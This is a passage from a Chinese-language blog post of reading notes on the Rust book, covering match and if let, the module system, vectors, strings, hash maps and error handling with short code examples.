Rust 代码的安全性。</p><h3 id="3-match控制流运算符"><a href="#3-match控制流运算符" class="headerlink" title="3.match控制流运算符"></a>3.match控制流运算符</h3><p>可以把 <code>match</code> 表达式想象成某种硬币分类器:硬币滑入有着不同大小孔洞的轨道,每一个硬币都会掉入符合它大小的孔洞。同样地,值也会通过 <code>match</code> 的每一个模式,并且在遇到第一个 “符合” 的模式时,值会进入相关联的代码块并在执行中被使用。</p><p>因为刚刚提到了硬币,让我们用它们来作为一个使用 <code>match</code> 的例子!我们可以编写一个函数来获取一个未知的硬币,并以一种类似验钞机的方式,确定它是何种硬币并返回它的美分值,如示例 6-3 中所示。</p><pre><code class="rust">enum Coin { Penny, Nickel, Dime, Quarter,}fn value_in_cents(coin: Coin) -> u8 { match coin { Coin::Penny => 1, Coin::Nickel => 5, Coin::Dime => 10, Coin::Quarter => 25, }}</code></pre><blockquote><p>匹配是穷尽的!!!!!!!!!!!!!!!!</p></blockquote><p><code>match</code> 还有另一方面需要讨论。考虑一下 <code>plus_one</code> 函数的这个版本,它有一个 bug 并不能编译:</p><pre><code class="rust"> fn plus_one(x: Option<i32>) -> Option<i32> { match x { Some(i) => Some(i + 1), } }</code></pre><p>我们没有处理 <code>None</code> 的情况,所以这些代码会造成一个 bug。幸运的是,这是一个 Rust 知道如何处理的 bug。如果尝试编译这段代码,会得到这个错误:</p><pre><code class="console">$ cargo run Compiling enums v0.1.0 (file:///projects/enums)error[E0004]: non-exhaustive patterns: `None` not covered --> src/main.rs:3:15 |3 | match x { | ^ pattern `None` not covered | = help: ensure that all possible cases are being handled, possibly by adding wildcards or more match arms = note: the matched value is of type `Option<i32>`For more information about this error, try `rustc --explain E0004`.error: could not compile `enums` due to previous error</code></pre><p>Rust 知道我们没有覆盖所有可能的情况甚至知道哪些模式被忘记了!Rust 中的匹配是<strong>穷举式的</strong>(<em>exhaustive</em>):必须穷举到最后的可能性来使代码有效。特别的在这个 <code>Option<T></code> 的例子中,Rust 防止我们忘记明确的处理 <code>None</code> 的情况,这让我们免于假设拥有一个实际上为空的值,从而使之前提到的价值亿万的错误不可能发生。</p><blockquote><p>如何处理你不关心的值呢?</p></blockquote><p>让我们看一个例子,我们希望对一些特定的值采取特殊操作,而对其他的值采取默认操作。想象我们正在玩一个游戏,如果你掷出骰子的值为 3,角色不会移动,而是会得到一顶新奇的帽子。如果你掷出了 7,你的角色将失去新奇的帽子。对于其他的数值,你的角色会在棋盘上移动相应的格子。这是一个实现了上述逻辑的 <code>match</code>,骰子的结果是硬编码而不是一个随机值,其他的逻辑部分使用了没有函数体的函数来表示,实现它们超出了本例的范围:</p><pre><code class="rust"> let dice_roll = 9; match dice_roll { 3 => add_fancy_hat(), 7 => remove_fancy_hat(), other => move_player(other), } fn add_fancy_hat() {} fn remove_fancy_hat() {} fn move_player(num_spaces: u8) {}</code></pre><p>对于前两个分支,匹配模式是字面值 3 和 7,最后一个分支则涵盖了所有其他可能的值,模式是我们命名为 <code>other</code> 的一个变量。<code>other</code> 分支的代码通过将其传递给 <code>move_player</code> 函数来使用这个变量。</p><p>即使我们没有列出 <code>u8</code> 所有可能的值,这段代码依然能够编译,因为最后一个模式将匹配所有未被特殊列出的值。这种通配模式满足了 <code>match</code> 必须被穷尽的要求。请注意,我们必须将通配分支放在最后,因为模式是按顺序匹配的。如果我们在通配分支后添加其他分支,Rust 将会警告我们,因为此后的分支永远不会被匹配到。</p><p>Rust 还提供了一个模式,当我们不想使用通配模式获取的值时,请使用 <code>_</code> ,这是一个特殊的模式,可以匹配任意值而不绑定到该值。这告诉 Rust 我们不会使用这个值,所以 Rust 也不会警告我们存在未使用的变量。</p><p>让我们改变游戏规则,当你掷出的值不是 3 或 7 的时候,你必须再次掷出。这种情况下我们不需要使用这个值,所以我们改动代码使用 <code>_</code> 来替代变量 <code>other</code> :</p><pre><code class="rust"> let dice_roll = 9; match dice_roll { 3 => add_fancy_hat(), 7 => remove_fancy_hat(), _ => reroll(), } fn add_fancy_hat() {} fn remove_fancy_hat() {} fn reroll() {}</code></pre><p>这个例子也满足穷举性要求,因为我们在最后一个分支中明确地忽略了其他的值。我们没有忘记处理任何东西。</p><p>让我们再次改变游戏规则,如果你掷出 3 或 7 以外的值,你的回合将无事发生。我们可以使用单元值(在<a href="https://rustwiki.org/zh-CN/book/ch03-02-data-types.html#%E5%85%83%E7%BB%84%E7%B1%BB%E5%9E%8B">“元组类型”</a>一节中提到的空元组)作为 <code>_</code> 分支的代码:</p><pre><code class="rust"> let dice_roll = 9; match dice_roll { 3 => add_fancy_hat(), 7 => remove_fancy_hat(), _ => (), } fn add_fancy_hat() {} fn remove_fancy_hat() {}</code></pre><p>在这里,我们明确告诉 Rust 我们不会使用与前面模式不匹配的值,并且这种情况下我们不想运行任何代码。</p><blockquote><p>使用if let简洁操作</p></blockquote><p><code>if let</code> 语法让我们以一种不那么冗长的方式结合 <code>if</code> 和 <code>let</code>,来处理只匹配一个模式的值而忽略其他模式的情况。考虑示例 6-6 中的程序,它匹配一个 <code>Option<u8></code> 值并只希望当值为 3 时执行代码:</p><pre><code class="rust">let some_u8_value = Some(0u8);match some_u8_value { Some(3) => println!("three"), _ => (),}</code></pre><p>示例 6-6:<code>match</code> 只关心当值为 <code>Some(3)</code> 时执行代码</p><p>我们想要对 <code>Some(3)</code> 匹配进行操作但是不想处理任何其他 <code>Some<u8></code> 值或 <code>None</code> 值。为了满足 <code>match</code> 表达式(穷尽性)的要求,必须在处理完这唯一的成员后加上 <code>_ => ()</code>,这样也要增加很多样板代码。</p><p>不过我们可以使用 <code>if let</code> 这种更短的方式编写。如下代码与示例 6-6 中的 <code>match</code> 行为一致:</p><pre><code class="rust">if let Some(3) = some_u8_value { println!("three");}</code></pre><p><code>if let</code> 获取通过等号分隔的一个模式和一个表达式。它的工作方式与 <code>match</code> 相同,这里的表达式对应 <code>match</code> 而模式则对应第一个分支。</p><p>使用 <code>if let</code> 意味着编写更少代码,更少的缩进和更少的样板代码。然而,这样会失去 <code>match</code> 强制要求的穷尽性检查。<code>match</code> 和 <code>if let</code> 之间的选择依赖特定的环境以及增加简洁度和失去穷尽性检查的权衡取舍。</p><h2 id="进阶-管理代码"><a href="#进阶-管理代码" class="headerlink" title="进阶-管理代码"></a>进阶-管理代码</h2><p>Rust 有许多功能可以让你管理代码的组织,包括哪些内容可以被公开,哪些内容作为私有部分,以及程序每个作用域中的名字。这些功能。这有时被称为 “模块系统(the module system)”,包括:</p><ul><li><strong>包</strong>(<em>Packages</em>): Cargo 的一个功能,它允许你构建、测试和分享 crate。</li><li><strong>Crates</strong> :一个模块的树形结构,它形成了库或二进制项目。</li><li><strong>模块</strong>(<em>Modules</em>)和 <strong>use</strong>: 允许你控制作用域和路径的私有性。</li><li><strong>路径</strong>(<em>path</em>):一个命名例如结构体、函数或模块等项的方式</li></ul><h3 id="1-包和create"><a href="#1-包和create" class="headerlink" title="1. 包和create"></a>1. 包和create</h3><p>crate 是一个二进制项或者库。<em>crate root</em> 是一个源文件,Rust 编译器以它为起始点,并构成你的 crate 的根模块,<em>包</em>(<em>package</em>)是提供一系列功能的一个或者多个 crate。一个包会包含有一个 <em>Cargo.toml</em> 文件,阐述如何去构建这些 crate。</p><p>包中所包含的内容由几条规则来确立。一个包中至多 <strong>只能</strong> 包含一个库 crate(library crate);包中可以包含任意多个二进制 crate(binary crate);包中至少包含一个 crate,无论是库的还是二进制的。</p><p>让我们来看看创建包的时候会发生什么。首先,我们输入命令 <code>cargo new</code>:</p><pre><code class="text">$ cargo new my-project Created binary (application) `my-project` package$ ls my-projectCargo.tomlsrc$ ls my-project/srcmain.rs</code></pre><p>当我们输入了这条命令,Cargo 会给我们的包创建一个 <em>Cargo.toml</em> 文件。查看 <em>Cargo.toml</em> 的内容,会发现并没有提到 <em>src/main.rs</em>,因为 Cargo 遵循的一个约定:<em>src/main.rs</em> 就是一个与包同名的二进制 crate 的 crate 根。同样的,Cargo 知道如果包目录中包含 <em>src/lib.rs</em>,则包带有与其同名的库 crate,且 <em>src/lib.rs</em> 是 crate 根。crate 根文件将由 Cargo 传递给 <code>rustc</code> 来实际构建库或者二进制项目。</p><h3 id="2-模块系统"><a href="#2-模块系统" class="headerlink" title="2.模块系统"></a>2.模块系统</h3><p><em>模块</em> 让我们可以将一个 crate 中的代码进行分组,以提高可读性与重用性。模块还可以控制项的 <em>私有性</em>,即项是可以被外部代码使用的(<em>public</em>),还是作为一个内部实现的内容,不能被外部代码使用(<em>private</em>)。</p><p>通过如下命令创建一个lib create</p><pre><code class="rust">cargo new --lib restaurant</code></pre><p>文件名: src/lib.rs</p><pre><code class="rust">mod front_of_house { mod hosting { fn add_to_waitlist() {} fn seat_at_table() {} } mod serving { fn take_order() {} fn serve_order() {} fn take_payment() {} }}</code></pre><p>通过使用模块,我们可以把相关的定义组织起来,并通过模块命名来解释为什么它们之间有相关性。使用这部分代码的开发者可以更方便的循着这种分组找到自己需要的定义,而不需要通览所有。编写这部分代码的开发者通过分组知道该把新功能放在哪里以便继续让程序保持组织性。</p><p>之前我们提到,<em>src/main.rs</em> 和 <em>src/lib.rs</em> 被称为 crate 根。如此称呼的原因是,这两个文件中任意一个的内容会构成名为 <code>crate</code> 的模块,且该模块位于 crate 的被称为 <em>模块树</em> 的模块结构的根部(”at the root of the crate’s module structure”)。</p><pre><code class="text">crate └── front_of_house ├── hosting │ ├── add_to_waitlist │ └── seat_at_table └── serving ├── take_order ├── serve_order └── take_payment</code></pre><p>这个树展示了模块间是如何相互嵌套的(比如,<code>hosting</code> 嵌套在 <code>front_of_house</code> 内部)。这个树还展示了一些模块互为 <em>兄弟</em> ,即它们被定义在同一模块内(<code>hosting</code> 和 <code>serving</code> 都定义在 <code>front_of_house</code> 内)。继续使用家族比喻,如果模块A包含在模块B的内部,我们称模块A是模块B的 <em>孩子</em> 且模块B是模块A的 <em>父辈</em> 。注意整个模块树的根位于名为 <code>crate</code> 的隐式模块下。</p><h3 id="3-Rust-如何在模块树中找到一个项的位置"><a href="#3-Rust-如何在模块树中找到一个项的位置" class="headerlink" title="3.Rust 如何在模块树中找到一个项的位置"></a>3.Rust 如何在模块树中找到一个项的位置</h3><p>路径有两种形式:</p><ul><li><strong>绝对路径</strong>(<em>absolute path</em>)从 crate 根部开始,以 crate 名或者字面量 <code>crate</code> 开头。</li><li><strong>相对路径</strong>(<em>relative path</em>)从当前模块开始,以 <code>self</code>、<code>super</code> 或当前模块的标识符开头。</li></ul><p>文件名: src/lib.rs</p><pre><code class="rust">mod front_of_house { mod hosting { fn add_to_waitlist() {} }}pub fn eat_at_restaurant() { // 绝对路径 crate::front_of_house::hosting::add_to_waitlist(); // 相对路径 front_of_house::hosting::add_to_waitlist();}</code></pre><p>第一种方式,我们在 <code>eat_at_restaurant</code> 中调用 <code>add_to_waitlist</code> 函数,使用的是绝对路径。<code>add_to_waitlist</code> 函数与 <code>eat_at_restaurant</code> 被定义在同一 crate 中,这意味着我们可以使用 <code>crate</code> 关键字为起始的绝对路径。</p><p>第二种方式,我们在 <code>eat_at_restaurant</code> 中调用 <code>add_to_waitlist</code>,使用的是相对路径。这个路径以 <code>front_of_house</code> 为起始,这个模块在模块树中,与 <code>eat_at_restaurant</code> 定义在同一层级。与之等价的文件系统路径就是 <code>front_of_house/hosting/add_to_waitlist</code>。以名称为起始,意味着该路径是相对路径。</p><blockquote><p>编译这个src/lib.rs模块会报错 –> 模块的私有性</p></blockquote><p>我们拥有 <code>hosting</code> 模块和 <code>add_to_waitlist</code> 函数的的正确路径,但是 Rust 不让我们使用,因为它不能访问私有片段。</p><p>模块不仅对于你组织代码很有用。他们还定义了 Rust 的 <em>私有性边界</em>(<em>privacy boundary</em>):这条界线不允许外部代码了解、调用和依赖被封装的实现细节。所以,如果你希望创建一个私有函数或结构体,你可以将其放入模块。</p><p>Rust 中默认所有项(函数、方法、结构体、枚举、模块和常量)都是私有的。<strong>父模块中的项不能使用子模块中的私有项,但是子模块中的项可以使用他们父模块中的项</strong>。</p><blockquote><p>使用pub关键字暴露路径</p></blockquote><p>文件名: src/lib.rs</p><pre><code class="rust">mod front_of_house { pub mod hosting { fn add_to_waitlist() {} }}pub fn eat_at_restaurant() { // 绝对路径 crate::front_of_house::hosting::add_to_waitlist(); // 相对路径 front_of_house::hosting::add_to_waitlist();}</code></pre><p>然而这样还是有问题, 在 <code>mod hosting</code> 前添加了 <code>pub</code> 关键字,使其变成公有的。伴随着这种变化,如果我们可以访问 <code>front_of_house</code>,那我们也可以访问 <code>hosting</code>。但是 <code>hosting</code> 的 <strong>内容</strong>(<em>contents</em>) 仍然是私有的;这表明使模块公有并不使其内容也是公有的。模块上的 <code>pub</code> 关键字只允许其父模块引用它。</p><p>最终版本: src/lib.rs</p><pre><code class="rust">mod front_of_house { pub mod hosting { pub fn add_to_waitlist() {} }}pub fn eat_at_restaurant() { // 绝对路径 crate::front_of_house::hosting::add_to_waitlist(); // 相对路径 front_of_house::hosting::add_to_waitlist();}</code></pre><blockquote><p>使用super其实的相对路径</p></blockquote><p>我们还可以使用 <code>super</code> 开头来构建从父模块开始的相对路径。这么做类似于文件系统中以 <code>..</code> 开头的语法。我们为什么要这样做呢?</p><p>文件名: src/lib.rs</p><pre><code class="rust">fn serve_order() {}mod back_of_house { fn fix_incorrect_order() { cook_order(); super::serve_order();//调用 } fn cook_order() {}}</code></pre><pre><code>fix_incorrect_order` 函数在 `back_of_house` 模块中,所以我们可以使用 `super` 进入 `back_of_house` 父模块,也就是本例中的 `crate` 根。在这里,我们可以找到 `serve_order</code></pre><blockquote><p>使用pub构造公有的结构体和枚举</p></blockquote><p>我们还可以使用 <code>pub</code> 来设计公有的结构体和枚举,不过有一些额外的细节需要注意。如果我们在一个结构体定义的前面使用了 <code>pub</code> ,这个结构体会变成公有的,但是这个结构体的字段仍然是私有的。</p><p>文件名: src/lib.rs</p><pre><code class="rust">mod back_of_house { pub struct Breakfast { pub toast: String, seasonal_fruit: String, } impl Breakfast { pub fn summer(toast: &str) -> Breakfast { Breakfast { toast: String::from(toast), seasonal_fruit: String::from("peaches"), } } }}pub fn eat_at_restaurant() { // 在夏天点一份黑麦面包作为早餐 let mut meal = back_of_house::Breakfast::summer("Rye"); // 更改我们想要的面包 meal.toast = String::from("Wheat"); println!("I'd like {} toast please", meal.toast); // 如果取消下一行的注释,将会导致编译失败;我们不被允许看到或更改随餐搭配的季节水果 // meal.seasonal_fruit = String::from("blueberries");}</code></pre><p>如果我们将枚举设为公有,则它的所有成员都将变为公有。我们只需要在 <code>enum</code> 关键字前面加上 <code>pub</code></p><p>src/lib.rs</p><pre><code class="rust">mod back_of_house { pub enum Appetizer { Soup, Salad, }}pub fn eat_at_restaurant() { let order1 = back_of_house::Appetizer::Soup; let order2 = back_of_house::Appetizer::Salad;}</code></pre><h3 id="3-使用use关键字将名称引入域"><a href="#3-使用use关键字将名称引入域" class="headerlink" title="3.使用use关键字将名称引入域"></a>3.使用use关键字将名称引入域</h3><p>文件名: src/lib.rs</p><pre><code class="rust">mod front_of_house { pub mod hosting { pub fn add_to_waitlist() {} }}use crate::front_of_house::hosting;pub fn eat_at_restaurant() { hosting::add_to_waitlist();}</code></pre><p>在作用域中增加 <code>use</code> 和路径类似于在文件系统中创建软连接(符号连接,symbolic link)。通过在 crate 根增加 <code>use crate::front_of_house::hosting</code>,现在 <code>hosting</code> 在作用域中就是有效的名称了,如同 <code>hosting</code> 模块被定义于 crate 根一样。通过 <code>use</code> 引入作用域的路径也会检查私有性,同其它路径一样。</p><blockquote><p>使用as关键字提供新的名称</p></blockquote><p>文件名: src/lib.rs</p><pre><code class="rust">use std::fmt::Result;use std::io::Result as IoResult;fn function1() -> Result { // --snip--}fn function2() -> IoResult<()> { // --snip--}</code></pre><p>在第二个 <code>use</code> 语句中,我们选择 <code>IoResult</code> 作为 <code>std::io::Result</code> 的新名称,它与从 <code>std::fmt</code> 引入作用域的 <code>Result</code> 并不冲突</p><blockquote><p>使用 pub use 重导出名称</p></blockquote><p>当使用 <code>use</code> 关键字将名称导入作用域时,在新作用域中可用的名称是私有的。如果为了让调用你编写的代码的代码能够像在自己的作用域内引用这些类型,可以结合 <code>pub</code> 和 <code>use</code>。这个技术被称为 “<em>重导出</em>(<em>re-exporting</em>)”,因为这样做将项引入作用域并同时使其可供其他代码引入自己的作用域。</p><p>文件名: src/lib.rs</p><pre><code class="rust">mod front_of_house { pub mod hosting { pub fn add_to_waitlist() {} }}pub use crate::front_of_house::hosting;pub fn eat_at_restaurant() { hosting::add_to_waitlist();}</code></pre><blockquote><p>使用外部包</p></blockquote><p>文件名: Cargo.toml</p><pre><code class="toml">[dependencies]rand = "0.8.3"</code></pre><p>在 <em>Cargo.toml</em> 中加入 <code>rand</code> 依赖告诉了 Cargo 要从 <a href="https://crates.io/">crates.io</a> 下载 <code>rand</code> 和其依赖,并使其可在项目代码中使用。</p><p>接着,为了将 <code>rand</code> 定义引入项目包的作用域,我们加入一行 <code>use</code> 起始的包名,它以 <code>rand</code> 包名开头并列出了需要引入作用域的项</p><pre><code class="rust">use rand::Rng;fn main() { let secret_number = rand::thread_rng().gen_range(1..101);}</code></pre><blockquote><p>嵌套路径来消除大量的use行</p></blockquote><pre><code class="rust">use std::cmp::Ordering;use std::io;// ---snip---</code></pre><p>相反,我们可以使用嵌套路径将相同的项在一行中引入作用域。这么做需要指定路径的相同部分,接着是两个冒号,接着是大括号中的各自不同的路径部分,如示例 7-18 所示。</p><p>文件名: src/main.rs</p><pre><code class="rust">use std::{cmp::Ordering, io};</code></pre><blockquote><p>通过glob运算符将所有公有定义引入作用域</p></blockquote><p>如果希望将一个路径下 <strong>所有</strong> 公有项引入作用域,可以指定路径后跟 glob 运算符 <code>*</code>:</p><pre><code class="rust">use std::collections::*;</code></pre><h3 id="4-将模块分割到不同的文件中"><a href="#4-将模块分割到不同的文件中" class="headerlink" title="4.将模块分割到不同的文件中"></a>4.将模块分割到不同的文件中</h3><p>文件名: src/lib.rs</p><pre><code class="rust">mod front_of_house; //在 mod front_of_house 后使用分号,而不是代码块,这将告诉 Rust 在另一个与模块同名的文件中加载模块的内容。子pub use crate::front_of_house::hosting;pub fn eat_at_restaurant() { hosting::add_to_waitlist();}</code></pre><p>文件名: src/front_of_house.rs</p><pre><code class="rust">pub mod hosting { pub fn add_to_waitlist() {}}</code></pre><blockquote><p>继续重构</p></blockquote><p>将 <code>hosting</code> 模块也提取到其自己的文件中,仅对 <em>src/front_of_house.rs</em> 包含 <code>hosting</code> 模块的声明进行修改:</p><p>文件名: src/front_of_house.rs</p><pre><code class="rust">pub mod hosting;</code></pre><p>接着我们创建一个 <em>src/front_of_house</em> 目录和一个包含 <code>hosting</code> 模块定义的 <em>src/front_of_house/hosting.rs</em> 文件:</p><p>文件名: src/front_of_house/hosting.rs</p><pre><code class="rust">pub fn add_to_waitlist() {}</code></pre><h2 id="进阶-常见集合"><a href="#进阶-常见集合" class="headerlink" title="进阶- 常见集合"></a>进阶- 常见集合</h2><p>同于内建的数组和元组类型,这些集合指向的数据是储存在堆上的,这意味着数据的数量不必在编译时就已知,并且还可以随着程序的运行增长或缩小。每种集合都有着不同功能和成本,而根据当前情况选择合适的集合,这是一项应当逐渐掌握的技能。在这一章里,我们将详细的了解三个在 Rust 程序中被广泛使用的集合:</p><ul><li><em>vector</em> 允许我们一个挨着一个地储存一系列数量可变的值</li><li><strong>字符串</strong>(<em>string</em>)是字符的集合。我们之前见过 <code>String</code> 类型,不过在本章我们将深入了解。</li><li><strong>哈希 map</strong>(<em>hash map</em>)允许我们将值与一个特定的键(key)相关联。这是一个叫做 <em>map</em> 的更通用的数据结构的特定实现。</li></ul><h3 id="1-vector"><a href="#1-vector" class="headerlink" title="1.vector"></a>1.vector</h3><pre><code class="rust">let v: Vec<i32> = Vec::new();let v = vec![1, 2, 3];//使用宏来创建</code></pre><blockquote><p>更新vector</p></blockquote><pre><code class="rust">let mut v = Vec::new();v.push(5);v.push(6);v.push(7);v.push(8);</code></pre><blockquote><p>vector 离开作用域后也会丢弃其所有元素</p></blockquote><pre><code class="rust">{ let v = vec![1, 2, 3, 4]; // 处理变量 v} // <- 这里 v 离开作用域并被丢弃</code></pre><blockquote><p>读取vector的元素的两种方式</p></blockquote><pre><code class="rust">let v = vec![1, 2, 3, 4, 5];let third: &i32 = &v[2];println!("The third element is {}", third);match v.get(2) { Some(third) => println!("The third element is {}", third), None => println!("There is no third element."),}</code></pre><p>当引用一个不存在的元素时 Rust 会造成 panic。这个方法更适合当程序认为尝试访问超过 vector 结尾的元素是一个严重错误的情况,这时应该使程序崩溃。</p><p>当 <code>get</code> 方法被传递了一个数组外的索引时,它不会 panic 而是返回 <code>None</code></p><p>当我们获取了 vector 的第一个元素的不可变引用并尝试在 vector 末尾增加一个元素的时候,这是行不通的:</p><pre><code class="rust">let mut v = vec![1, 2, 3, 4, 5];let first = &v[0]; v.push(6);//println!("The first element is: {}", first);</code></pre><p>编译会给出这个错误:</p><pre><code class="text">error[E0502]: cannot borrow `v` as mutable because it is also borrowed as immutable --> src/main.rs:6:5 |4 | let first = &v[0]; | - immutable borrow occurs here5 |6 | v.push(6); | ^^^^^^^^^ mutable borrow occurs here7 |8 | println!("The first element is: {}", first); | ----- immutable borrow later used here</code></pre><p>代码看起来应该能够运行:为什么第一个元素的引用会关心 vector 结尾的变化?不能这么做的原因是由于 vector 的工作方式:在 vector 的结尾增加新元素时,<strong>在没有足够空间将所有所有元素依次相邻存放的情况下,可能会要求分配新内存并将老的元素拷贝到新的空间中</strong>。这时,第一个元素的引用就指向了被释放的内存。借用规则阻止程序陷入这种状况。</p><blockquote><p>通过可变引用改变vector的值</p></blockquote><p>我们也可以遍历可变 vector 的每一个元素的可变引用以便能改变他们。示例 中的 <code>for</code> 循环会给每一个元素加 <code>50</code>:</p><pre><code class="rust">let mut v = vec![100, 32, 57];for i in &mut v { *i += 50;}</code></pre><blockquote><p>使用枚举来存储多种类型的值</p></blockquote><p>本章的开始,我们提到 vector 只能储存相同类型的值。这是很不方便的;绝对会有需要储存一系列不同类型的值的用例。幸运的是,枚举的成员都被定义为相同的枚举类型,所以当需要在 vector 中储存不同类型值时,我们可以定义并使用一个枚举!</p><pre><code class="rust">enum SpreadsheetCell { Int(i32), Float(f64), Text(String),}let row = vec![ SpreadsheetCell::Int(3), SpreadsheetCell::Text(String::from("blue")), SpreadsheetCell::Float(10.12),];</code></pre><p>Rust 在编译时就必须准确的知道 vector 中类型的原因在于它需要知道储存每个元素到底需要多少内存。第二个好处是可以准确的知道这个 vector 中允许什么类型。</p><h3 id="2-字符串String"><a href="#2-字符串String" class="headerlink" title="2.字符串String"></a>2.字符串String</h3><p>Rust的核心部分中只有一种字符串类型,那就是字符串切片str, 它常以借用的形式出现(&str)</p><blockquote><p>String 与&str</p></blockquote><pre><code class="rust">// &str 类型let hello: &str = "Hello, world!";// String 类型let mut hello_string: String = String::from("Hello, world!");//创建一个空字符串let mut s = String::new();// &str 转 Stringlet new_string = hello.to_string();// String 转 &strlet new_str: &str = &hello_string;// 修改 Stringhello_string.push_str(" Rust is great!");</code></pre><blockquote><p>更新字符串</p></blockquote><pre><code class="rust">let mut s = String::from("foo");s.push_str("bar");//push_str 方法采用字符串 slice,因为我们并不需要获取参数的所有权。let mut s = String::from("lo");s.push('l'); //单独字符//使用 + 运算符将两个 String 值合并到一个新的 String 值中let s1 = String::from("Hello, ");let s2 = String::from("world!");let s3 = s1 + &s2; // 注意 s1 被移动了,不能继续使用//使用format拼接 , format! 与 println! 的工作原理相同,不过不同于将输出打印到屏幕上,它返回一个带有结果内容的 String。let s1 = String::from("tic");let s2 = String::from("tac");let s3 = String::from("toe");let s = format!("{}-{}-{}", s1, s2, s3);</code></pre><blockquote><p>深入看看String</p></blockquote><p><code>String</code> 是一个 <code>Vec<u8></code> 的封装。</p><blockquote><p>遍历字符串</p></blockquote><pre><code class="rust">//如果你需要操作单独的 Unicode 标量值,最好的选择是使用 chars 方法。对 “नमस्ते” 调用 chars 方法会将其分开并返回六个 char 类型的值for c in "नमस्ते".chars() { println!("{}", c);}//bytes 方法返回每一个原始字节,这可能会适合你的使用场景:for b in "नमस्ते".bytes() { println!("{}", b);}</code></pre><h3 id="3-存储键值对的hash-map"><a href="#3-存储键值对的hash-map" class="headerlink" title="3.存储键值对的hash map"></a>3.存储键值对的hash map</h3><blockquote><p>创建一个hash map</p></blockquote><pre><code class="rust">use std::collections::HashMap;let mut scores = HashMap::new();scores.insert(String::from("Blue"), 10);scores.insert(String::from("Yellow"), 50);</code></pre><p>像 vector 一样,哈希 map 将它们的数据储存在堆上,这个 <code>HashMap</code> 的键类型是 <code>String</code> 而值类型是 <code>i32</code>。类似于 vector,哈希 map 是同质的:所有的键必须是相同类型,值也必须都是相同类型。</p><blockquote><p>另一个构建哈希 map 的方法是使用一个元组的 vector 的 <code>collect</code> 方法,其中每个元组包含一个键值对。</p></blockquote><pre><code class="rust">use std::collections::HashMap;let teams = vec![String::from("Blue"), String::from("Yellow")];let initial_scores = vec![10, 50];let scores: HashMap<_, _> = teams.iter().zip(initial_scores.iter()).collect();</code></pre><ol><li><p>**<code>teams.iter()</code> 和 <code>initial_scores.iter()</code>**:使用<code>.iter()</code>方法在<code>teams</code>和<code>initial_scores</code>向量上创建了迭代器。这两个迭代器分别会生成<code>&String</code>和<code>&i32</code>类型的元素。</p></li><li><p><strong><code>zip(initial_scores.iter())</code></strong>: <code>zip</code>函数会将<code>teams.iter()</code>生成的迭代器和<code>initial_scores.iter()</code>生成的迭代器”压缩”在一起。具体来说,它会创建一个新的迭代器,每次迭代都会返回一个元组,该元组中的第一个元素来自<code>teams.iter()</code>,第二个元素来自<code>initial_scores.iter()</code>。</p><p>所以,如果<code>teams = ["Blue", "Yellow"]</code>,<code>initial_scores = [10, 50]</code>,那么<code>zip</code>函数将生成以下元组的迭代器:<code>(&"Blue", &10), (&"Yellow", &50)</code>。</p></li><li><p><strong><code>collect()</code></strong>: 这个方法会将迭代器中的所有元素收集到一个集合中。在这里,它将元组的迭代器转换成一个<code>HashMap</code>。</p></li><li><p><strong><code>HashMap<_, _></code></strong>: 这里的类型注解意味着该<code>HashMap</code>的键和值的类型是由编译器推导的。因为<code>zip</code>生成的是<code>(&String, &i32)</code>类型的元组,<code>HashMap</code>的类型实际上是<code>HashMap<&String, &i32></code>。</p></li></ol><p>这里 <code>HashMap<_, _></code> 类型标注是必要的,因为 <code>collect</code> 有可能当成多种不同的数据结构,而除非显式指定否则 Rust 无从得知你需要的类型。但是对于键和值的类型参数来说,可以使用下划线占位,而 Rust 能够根据 vector 中数据的类型推断出 <code>HashMap</code> 所包含的类型。</p><blockquote><p>hashmap和所有权</p></blockquote><p>对于像 <code>i32</code> 这样的实现了 <code>Copy</code> trait 的类型,其值可以拷贝进哈希 map。对于像 <code>String</code> 这样拥有所有权的值,其值将被移动而哈希 map 会成为这些值的所有者</p><pre><code class="rust"> use std::collections::HashMap; let field_name = String::from("Favorite color"); let field_value = String::from("Blue"); let mut map = HashMap::new(); map.insert(field_name, field_value); // 这里 field_name 和 field_value 不再有效, // 尝试使用它们看看会出现什么编译错误!</code></pre><blockquote><p>访问hash map 中的值</p></blockquote><p>可以通过get方法 通过 键来获取对应的值、</p><p><img src="/2023/09/27/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Rust/The%20Rust%20Programming%20Language%E9%98%85%E8%AF%BB%E7%AC%94%E8%AE%B0/image-20230912205129158.png" alt="image-20230912205129158"></p><blockquote><p>更新</p></blockquote><p>覆盖:如果我们插入了一个键值对,接着用相同的键插入一个不同的值,与这个键相关联的旧值将被替换。即便</p><pre><code class="rust">scores.insert(String::from("Blue"), 10);scores.insert(String::from("Blue"), 25);</code></pre><p>只在键没有对应值时插入</p><pre><code class="rust">scores.entry(String::from("Yellow")).or_insert(50);scores.entry(String::from("Blue")).or_insert(50);</code></pre><h2 id="进阶-错误处理"><a href="#进阶-错误处理" class="headerlink" title="进阶- 错误处理"></a>进阶- 错误处理</h2><p><strong>可恢复错误</strong>(<em>recoverable</em>)和 <strong>不可恢复错误</strong>(<em>unrecoverable</em>)。可恢复错误通常代表向用户报告错误和重试操作是合理的情况,比如未找到文件。不可恢复错误通常是 bug 的同义词,比如尝试访问超过数组结尾的位置。</p><h3 id="panic-与不可恢复的错误"><a href="#panic-与不可恢复的错误" class="headerlink" title="panic! 与不可恢复的错误"></a>panic! 与不可恢复的错误</h3><p>有的时候代码出问题了,而你对此束手无策。对于这种情况,Rust 有 <code>panic!</code>宏。当执行这个宏时,程序会打印出一个错误信息,展开并清理栈数据,然后接着退出。出现这种情况的场景通常是检测到一些类型的 bug,而且开发者并不清楚该如何处理它。</p><h3 id="result与可恢复错误"><a href="#result与可恢复错误" class="headerlink" title="result与可恢复错误"></a>result与可恢复错误</h3><pre><code class="rust">fn main() { let f = File::open("hello.txt");//File::open 函数的返回值类型是 Result<T, E> let f = match f {//当 File::open 成功的情况下,变量 f 的值将会是一个包含文件句柄的 Ok 实例。在失败的情况下,f 的值会是一个包含更多关于出现了何种错误信息的 Err 实例。 Ok(file) => file,//从OK中拆出来file Err(error) => { panic!("Problem opening the file: {:?}", error) }, };}</code></pre><pre><code class="rust">fn main() { let f = File::open("hello.txt"); let f = match f { Ok(file) => file, Err(error) => match error.kind() { ErrorKind::NotFound => match File::create("hello.txt") {//如果是没有文件可以尝试创建文件 Ok(fc) => fc, Err(e) => panic!("Problem creating the file: {:?}", e), }, other_error => panic!("Problem opening the file: {:?}", other_error), }, };}</code></pre><pre><code class="rust">use std::fs::File;use std::io::ErrorKind;fn main() { let f = File::open("hello.txt").unwrap_or_else(|error| {//如果正常就返回file 了否则继续执行代码 